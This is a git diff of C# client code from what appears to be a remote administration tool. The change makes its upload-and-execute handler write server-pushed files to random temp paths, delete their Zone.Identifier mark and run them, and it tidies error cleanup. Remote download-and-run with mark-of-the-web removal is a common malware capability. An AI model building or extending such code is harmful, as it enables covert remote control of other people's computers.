diff --git a/Client/Core/Commands/ConnectionHandler.cs b/Client/Core/Commands/ConnectionHandler.cs index 5a870389..edfdd4c2 100644 --- a/Client/Core/Commands/ConnectionHandler.cs +++ b/Client/Core/Commands/ConnectionHandler.cs @@ -59,9 +59,9 @@ public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate com } catch (Exception ex) { - NativeMethods.DeleteFile(filePath); if (_renamedFiles.ContainsKey(command.ID)) _renamedFiles.Remove(command.ID); + NativeMethods.DeleteFile(filePath); new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client); } diff --git a/Client/Core/Commands/MiscHandler.cs b/Client/Core/Commands/MiscHandler.cs index 47e24cda..bc8d6312 100644 --- a/Client/Core/Commands/MiscHandler.cs +++ b/Client/Core/Commands/MiscHandler.cs @@ -69,25 +69,26 @@ public static partial class CommandHandler public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client) { - string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), - command.FileName); + if (!_renamedFiles.ContainsKey(command.ID)) + _renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName))); + + string filePath = _renamedFiles[command.ID]; try { - if (command.CurrentBlock == 0 && Path.GetExtension(command.FileName) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block)) + if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block)) throw new Exception("No executable file"); FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) - { - new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute( - client); - return; - } + throw new Exception(destFile.LastError); if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute { + if (_renamedFiles.ContainsKey(command.ID)) + _renamedFiles.Remove(command.ID); + FileHelper.DeleteZoneIdentifier(filePath); ProcessStartInfo startInfo = new ProcessStartInfo(); @@ -105,6 +106,8 @@ public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExe } catch (Exception ex) { + if (_renamedFiles.ContainsKey(command.ID)) + _renamedFiles.Remove(command.ID); NativeMethods.DeleteFile(filePath); new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client); }